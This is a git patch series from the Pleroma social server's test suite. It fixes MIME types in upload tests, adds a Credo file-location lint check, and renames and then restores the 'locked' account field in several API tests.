test/pleroma/upload/filter/anonymize_filename_test.exs | 2 +- test/pleroma/upload/filter/dedupe_test.exs | 2 +- test/pleroma/upload/filter/exiftool_test.exs | 2 +- test/pleroma/upload/filter/mogrifun_test.exs | 2 +- test/pleroma/upload/filter/mogrify_test.exs | 2 +- test/pleroma/upload/filter_test.exs | 2 +- test/pleroma/upload_test.exs | 2 +- test/pleroma/uploaders/local_test.exs | 4 ++-- test/pleroma/uploaders/s3_test.exs | 2 +- test/pleroma/web/activity_pub/activity_pub_test.exs | 2 +- .../object_validators/attachment_validator_test.exs | 2 +- .../activity_pub/object_validators/chat_validation_test.exs | 6 +++--- test/pleroma/web/common_api_test.exs | 2 +- .../web/mastodon_api/controllers/account_controller_test.exs | 2 +- .../web/mastodon_api/controllers/media_controller_test.exs | 6 +++--- .../web/mastodon_api/controllers/status_controller_test.exs | 4 ++-- test/pleroma/web/mastodon_api/update_credentials_test.exs | 6 +++--- .../web/mastodon_api/views/scheduled_activity_view_test.exs | 2 +- .../web/pleroma_api/controllers/chat_controller_test.exs | 2 +- .../web/pleroma_api/controllers/mascot_controller_test.exs | 4 ++-- .../web/pleroma_api/views/chat_message_reference_view_test.exs | 2 +- test/pleroma/web/plugs/uploaded_media_plug_test.exs | 2 +- test/pleroma/web/push/impl_test.exs | 2 +- 24 files changed, 37 insertions(+), 37 deletions(-) (limited to 'test') diff --git a/test/pleroma/object_test.exs b/test/pleroma/object_test.exs index 198d3b1cf..99caba336 100644 --- a/test/pleroma/object_test.exs +++ b/test/pleroma/object_test.exs @@ -82,7 +82,7 @@ defmodule Pleroma.ObjectTest do Pleroma.Config.put([:instance, :cleanup_attachments], false) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -116,7 +116,7 @@ defmodule Pleroma.ObjectTest do Pleroma.Config.put([:instance, :cleanup_attachments], true) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -155,7 +155,7 @@ defmodule Pleroma.ObjectTest do File.mkdir_p!(uploads_dir) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -188,7 +188,7 @@ defmodule Pleroma.ObjectTest do Pleroma.Config.put([:instance, :cleanup_attachments], true) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -225,7 +225,7 @@ defmodule Pleroma.ObjectTest do Pleroma.Config.put([:instance, :cleanup_attachments], true) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/upload/filter/anonymize_filename_test.exs b/test/pleroma/upload/filter/anonymize_filename_test.exs index 19b915cc8..7ef01ce91 100644 --- a/test/pleroma/upload/filter/anonymize_filename_test.exs +++ b/test/pleroma/upload/filter/anonymize_filename_test.exs @@ -13,7 +13,7 @@ defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do upload_file = %Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter/dedupe_test.exs b/test/pleroma/upload/filter/dedupe_test.exs index 75c7198e1..92a3d7df3 100644 --- a/test/pleroma/upload/filter/dedupe_test.exs +++ b/test/pleroma/upload/filter/dedupe_test.exs @@ -18,7 +18,7 @@ defmodule Pleroma.Upload.Filter.DedupeTest do upload = %Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter/exiftool_test.exs b/test/pleroma/upload/filter/exiftool_test.exs index d4cd4ba11..6b978b64c 100644 --- a/test/pleroma/upload/filter/exiftool_test.exs +++ b/test/pleroma/upload/filter/exiftool_test.exs @@ -16,7 +16,7 @@ defmodule Pleroma.Upload.Filter.ExiftoolTest do upload = %Pleroma.Upload{ name: "image_with_GPS_data.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/DSCN0010.jpg"), tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") } diff --git a/test/pleroma/upload/filter/mogrifun_test.exs b/test/pleroma/upload/filter/mogrifun_test.exs index dc1e9e78f..fc2f68276 100644 --- a/test/pleroma/upload/filter/mogrifun_test.exs +++ b/test/pleroma/upload/filter/mogrifun_test.exs @@ -17,7 +17,7 @@ defmodule Pleroma.Upload.Filter.MogrifunTest do upload = %Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter/mogrify_test.exs b/test/pleroma/upload/filter/mogrify_test.exs index bf64b96b3..6dee02e8b 100644 --- a/test/pleroma/upload/filter/mogrify_test.exs +++ b/test/pleroma/upload/filter/mogrify_test.exs @@ -18,7 +18,7 @@ defmodule Pleroma.Upload.Filter.MogrifyTest do upload = %Pleroma.Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload/filter_test.exs b/test/pleroma/upload/filter_test.exs index 352b66402..09394929c 100644 --- a/test/pleroma/upload/filter_test.exs +++ b/test/pleroma/upload/filter_test.exs @@ -20,7 +20,7 @@ defmodule Pleroma.Upload.FilterTest do upload = %Pleroma.Upload{ name: "an… image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/upload_test.exs b/test/pleroma/upload_test.exs index 4280bfcac..f52d4dff6 100644 --- a/test/pleroma/upload_test.exs +++ b/test/pleroma/upload_test.exs @@ -112,7 +112,7 @@ defmodule Pleroma.UploadTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } diff --git a/test/pleroma/uploaders/local_test.exs b/test/pleroma/uploaders/local_test.exs index 18122ff6c..1ce7be485 100644 --- a/test/pleroma/uploaders/local_test.exs +++ b/test/pleroma/uploaders/local_test.exs @@ -19,7 +19,7 @@ defmodule Pleroma.Uploaders.LocalTest do file = %Pleroma.Upload{ name: "image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: file_path, tempfile: Path.absname("test/fixtures/image_tmp.jpg") } @@ -38,7 +38,7 @@ defmodule Pleroma.Uploaders.LocalTest do file = %Pleroma.Upload{ name: "image.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: file_path, tempfile: Path.absname("test/fixtures/image_tmp.jpg") } diff --git a/test/pleroma/uploaders/s3_test.exs b/test/pleroma/uploaders/s3_test.exs index d949c90a5..e7a013dd8 100644 --- a/test/pleroma/uploaders/s3_test.exs +++ b/test/pleroma/uploaders/s3_test.exs @@ -56,7 +56,7 @@ defmodule Pleroma.Uploaders.S3Test do setup do file_upload = %Pleroma.Upload{ name: "image-tet.jpg", - content_type: "image/jpg", + content_type: "image/jpeg", path: "test_folder/image-tet.jpg", tempfile: Path.absname("test/instance_static/add/shortcode.png") } diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 804305a13..8f53d0599 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -1029,7 +1029,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do describe "uploading files" do setup do test_file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs index 558bb3131..760388e80 100644 --- a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs +++ b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs @@ -56,7 +56,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidatorTest do user = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs index 16e4808e5..d7e299224 100644 --- a/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs +++ b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs @@ -77,7 +77,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do user: user } do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -98,7 +98,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do user: user } do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -119,7 +119,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do user: user } do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs index e34f5a49b..d19d484b7 100644 --- a/test/pleroma/web/common_api_test.exs +++ b/test/pleroma/web/common_api_test.exs @@ -100,7 +100,7 @@ defmodule Pleroma.Web.CommonAPITest do recipient = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index f7f1369e4..4ef404541 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -380,7 +380,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do other_user = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs index 906fd940f..d2bd57515 100644 --- a/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs @@ -14,7 +14,7 @@ defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do setup do image = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -74,7 +74,7 @@ defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do setup %{user: actor} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -106,7 +106,7 @@ defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do setup %{user: actor} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs index 633a25e50..61359214a 100644 --- a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs @@ -167,7 +167,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do test "posting an undefined status with an attachment", %{user: user, conn: conn} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -408,7 +408,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do |> Kernel.<>("Z") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs index fe462caa3..ed1921c91 100644 --- a/test/pleroma/web/mastodon_api/update_credentials_test.exs +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -222,7 +222,7 @@ defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do test "updates the user's avatar", %{user: user, conn: conn} do new_avatar = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -246,7 +246,7 @@ defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do test "updates the user's banner", %{user: user, conn: conn} do new_header = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -265,7 +265,7 @@ defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do test "updates the user's background", %{conn: conn, user: user} do new_header = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs index fbfd873ef..04f73f5a0 100644 --- a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs +++ b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs @@ -22,7 +22,7 @@ defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do |> NaiveDateTime.to_iso8601() file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs index 11d5ba373..6381f9757 100644 --- a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs @@ -105,7 +105,7 @@ defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do test "it works with an attachment", %{conn: conn, user: user} do file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs index e2ead6e15..d6be92869 100644 --- a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs @@ -24,7 +24,7 @@ defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do assert json_response_and_validate_schema(ret_conn, 415) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } @@ -48,7 +48,7 @@ defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do # When a user sets their mascot, we should get that back file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs index 26272c125..f171a1e55 100644 --- a/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs +++ b/test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs @@ -19,7 +19,7 @@ defmodule Pleroma.Web.PleromaAPI.ChatMessageReferenceViewTest do recipient = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } diff --git a/test/pleroma/web/plugs/uploaded_media_plug_test.exs b/test/pleroma/web/plugs/uploaded_media_plug_test.exs index 07f52c8cd..7c8313121 100644 --- a/test/pleroma/web/plugs/uploaded_media_plug_test.exs +++ b/test/pleroma/web/plugs/uploaded_media_plug_test.exs @@ -11,7 +11,7 @@ defmodule Pleroma.Web.Plugs.UploadedMediaPlugTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "nice_tf.jpg" } diff --git a/test/pleroma/web/push/impl_test.exs b/test/pleroma/web/push/impl_test.exs index 6cab46696..7d8cc999a 100644 --- a/test/pleroma/web/push/impl_test.exs +++ b/test/pleroma/web/push/impl_test.exs @@ -219,7 +219,7 @@ defmodule Pleroma.Web.Push.ImplTest do recipient = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } -- cgit v1.2.3 From 09be8cb33663e1e8a469e8b228e4e9c8ee769e32 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 12:49:43 -0500 Subject: Credo --- test/mix/tasks/pleroma/user_test.exs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) (limited to 'test') diff --git a/test/mix/tasks/pleroma/user_test.exs b/test/mix/tasks/pleroma/user_test.exs index 09e1f472e..ce819f815 100644 --- a/test/mix/tasks/pleroma/user_test.exs +++ b/test/mix/tasks/pleroma/user_test.exs @@ -255,7 +255,12 @@ defmodule Mix.Tasks.Pleroma.UserTest do test "All statuses unset" do user = - insert(:user, is_locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) + insert(:user, + is_locked: true, + is_moderator: true, + is_admin: true, + confirmation_pending: true + ) Mix.Tasks.Pleroma.User.run([ "set", -- cgit v1.2.3 From f5d8af1db118ba87fccf59e3150d2c1dd58fd492 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 13 Oct 2020 19:54:24 +0200 Subject: Move Consistency.FileLocation to ./test This fixes a compilation fail because of Credo's absence in MIX_ENV=prod --- test/credo/check/consistency/file_location.ex | 166 ++++++++++++++++++++++++++ 1 file changed, 166 insertions(+) create mode 100644 test/credo/check/consistency/file_location.ex (limited to 'test') diff --git a/test/credo/check/consistency/file_location.ex b/test/credo/check/consistency/file_location.ex new file mode 100644 index 000000000..500983608 --- /dev/null +++ b/test/credo/check/consistency/file_location.ex @@ -0,0 +1,166 @@ +# Pleroma: A lightweight social networking server +# Originally taken from +# https://github.com/VeryBigThings/elixir_common/blob/master/lib/vbt/credo/check/consistency/file_location.ex +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Credo.Check.Consistency.FileLocation do + @moduledoc false + + # credo:disable-for-this-file Credo.Check.Readability.Specs + + @checkdoc """ + File location should follow the namespace hierarchy of the module it defines. + + Examples: + + - `lib/my_system.ex` should define the `MySystem` module + - `lib/my_system/accounts.ex` should define the `MySystem.Accounts` module + """ + @explanation [warning: @checkdoc] + + @special_namespaces [ + "controllers", + "views", + "operations", + "channels" + ] + + # `use Credo.Check` required that module attributes are already defined, so we need + # to place these attributes + # before use/alias expressions. + # credo:disable-for-next-line VBT.Credo.Check.Consistency.ModuleLayout + use Credo.Check, category: :warning, base_priority: :high + + alias Credo.Code + + def run(source_file, params \\ []) do + case verify(source_file, params) do + :ok -> + [] + + {:error, module, expected_file} -> + error(IssueMeta.for(source_file, params), module, expected_file) + end + end + + defp verify(source_file, params) do + source_file.filename + |> Path.relative_to_cwd() + |> verify(Code.ast(source_file), params) + end + + @doc false + def verify(relative_path, ast, params) do + if verify_path?(relative_path, params), + do: ast |> main_module() |> verify_module(relative_path, params), + else: :ok + end + + defp verify_path?(relative_path, params) do + case Path.split(relative_path) do + ["lib" | _] -> not exclude?(relative_path, params) + ["test", "support" | _] -> false + ["test", "test_helper.exs"] -> false + ["test" | _] -> not exclude?(relative_path, params) + _ -> false + end + end + + defp exclude?(relative_path, params) do + params + |> Keyword.get(:exclude, []) + |> Enum.any?(&String.starts_with?(relative_path, &1)) + end + + defp main_module(ast) do + {_ast, modules} = Macro.prewalk(ast, [], &traverse/2) + Enum.at(modules, -1) + end + + defp traverse({:defmodule, _meta, args}, modules) do + [{:__aliases__, _, name_parts}, _module_body] = args + {args, [Module.concat(name_parts) | modules]} + end + + defp traverse(ast, state), do: {ast, state} + + # empty file - shouldn't really happen, but we'll let it through + defp verify_module(nil, _relative_path, _params), do: :ok + + defp verify_module(main_module, relative_path, params) do + parsed_path = parsed_path(relative_path, params) + + expected_file = + expected_file_base(parsed_path.root, main_module) <> + Path.extname(parsed_path.allowed) + + cond do + expected_file == parsed_path.allowed -> + :ok + + special_namespaces?(parsed_path.allowed) -> + original_path = parsed_path.allowed + + namespace = + Enum.find(@special_namespaces, original_path, fn namespace -> + String.contains?(original_path, namespace) + end) + + allowed = String.replace(original_path, "/" <> namespace, "") + + if expected_file == allowed, + do: :ok, + else: {:error, main_module, expected_file} + + true -> + {:error, main_module, expected_file} + end + end + + defp special_namespaces?(path), do: String.contains?(path, @special_namespaces) + + defp parsed_path(relative_path, params) do + parts = Path.split(relative_path) + + allowed = + Keyword.get(params, :ignore_folder_namespace, %{}) + |> Stream.flat_map(fn {root, folders} -> Enum.map(folders, &Path.join([root, &1])) end) + |> Stream.map(&Path.split/1) + |> Enum.find(&List.starts_with?(parts, &1)) + |> case do + nil -> + relative_path + + ignore_parts -> + Stream.drop(ignore_parts, -1) + |> Enum.concat(Stream.drop(parts, length(ignore_parts))) + |> Path.join() + end + + %{root: hd(parts), allowed: allowed} + end + + defp expected_file_base(root_folder, module) do + {parent_namespace, module_name} = module |> Module.split() |> Enum.split(-1) + + relative_path = + if parent_namespace == [], + do: "", + else: parent_namespace |> Module.concat() |> Macro.underscore() + + file_name = module_name |> Module.concat() |> Macro.underscore() + + Path.join([root_folder, relative_path, file_name]) + end + + defp error(issue_meta, module, expected_file) do + format_issue(issue_meta, + message: + "Mismatch between file name and main module #{inspect(module)}. " <> + "Expected file path to be #{expected_file}. " <> + "Either move the file or rename the module.", + line_no: 1 + ) + end +end -- cgit v1.2.3 From 8b20c4d2752d620cbcd8b5d122abe7d143878a97 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 16:15:28 -0500 Subject: Missed tests --- test/pleroma/web/mastodon_api/controllers/account_controller_test.exs | 2 +- test/pleroma/web/mastodon_api/update_credentials_test.exs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index 0b803b7ab..5164063be 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -1271,7 +1271,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do "follow_requests_count" => 0, "followers_count" => 0, "following_count" => 0, - "locked" => false, + "is_locked" => false, "note" => "", "source" => %{ "fields" => [], diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs index 79d41d1bf..9340b3ae0 100644 --- a/test/pleroma/web/mastodon_api/update_credentials_test.exs +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -105,7 +105,7 @@ defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do conn = patch(conn, "/api/v1/accounts/update_credentials", %{is_locked: "true"}) assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["locked"] == true + assert user_data["is_locked"] == true end test "updates the user's chat acceptance status", %{conn: conn} do -- cgit v1.2.3 From ed61002815a65962cd4eba8522f090c2998741d4 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Wed, 14 Oct 2020 11:03:17 -0500 Subject: Undo API breaking changes --- .../controllers/account_controller_test.exs | 2 +- .../web/mastodon_api/update_credentials_test.exs | 4 ++-- .../web/mastodon_api/views/account_view_test.exs | 24 +++++++++++----------- 3 files changed, 15 insertions(+), 15 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index 5164063be..0b803b7ab 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -1271,7 +1271,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do "follow_requests_count" => 0, "followers_count" => 0, "following_count" => 0, - "is_locked" => false, + "locked" => false, "note" => "", "source" => %{ "fields" => [], diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs index 9340b3ae0..fe462caa3 100644 --- a/test/pleroma/web/mastodon_api/update_credentials_test.exs +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -102,10 +102,10 @@ defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do end test "updates the user's locking status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{is_locked: "true"}) + conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) assert user_data = json_response_and_validate_schema(conn, 200) - assert user_data["is_locked"] == true + assert user_data["locked"] == true end test "updates the user's chat acceptance status", %{conn: conn} do diff --git a/test/pleroma/web/mastodon_api/views/account_view_test.exs b/test/pleroma/web/mastodon_api/views/account_view_test.exs index 90b436376..203e61c71 100644 --- a/test/pleroma/web/mastodon_api/views/account_view_test.exs +++ b/test/pleroma/web/mastodon_api/views/account_view_test.exs @@ -43,7 +43,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do username: "shp", acct: user.nickname, display_name: user.name, - is_locked: false, + locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -148,7 +148,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do username: "shp", acct: user.nickname, display_name: user.name, - is_locked: false, + locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -483,60 +483,60 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do test "shows non-zero when follow requests are pending" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{is_locked: true, follow_requests_count: 1} = + assert %{locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when accepting a follow request" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{is_locked: true, follow_requests_count: 1} = + assert %{locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) - assert %{is_locked: true, follow_requests_count: 0} = + assert %{locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when rejecting a follow request" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{is_locked: true, follow_requests_count: 1} = + assert %{locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) - assert %{is_locked: true, follow_requests_count: 0} = + assert %{locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "shows non-zero when historical unapproved requests are present" do user = insert(:user, is_locked: true) - assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) {:ok, user} = User.update_and_set_cache(user, %{is_locked: false}) - assert %{is_locked: false, follow_requests_count: 1} = + assert %{locked: false, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end end -- cgit v1.2.3 From 49b43e668eb208a95a621f667f72f41b69bc10e5 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Thu, 17 Sep 2020 16:54:53 +0000 Subject: Merge branch 'instance-docs' into 'develop' AdminAPI: Allow to modify Terms of Service and Instance Panel via Admin API Closes #1516 See merge request pleroma/pleroma!2931 --- .../instance_document_controller_test.exs | 106 +++++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs (limited to 'test') diff --git 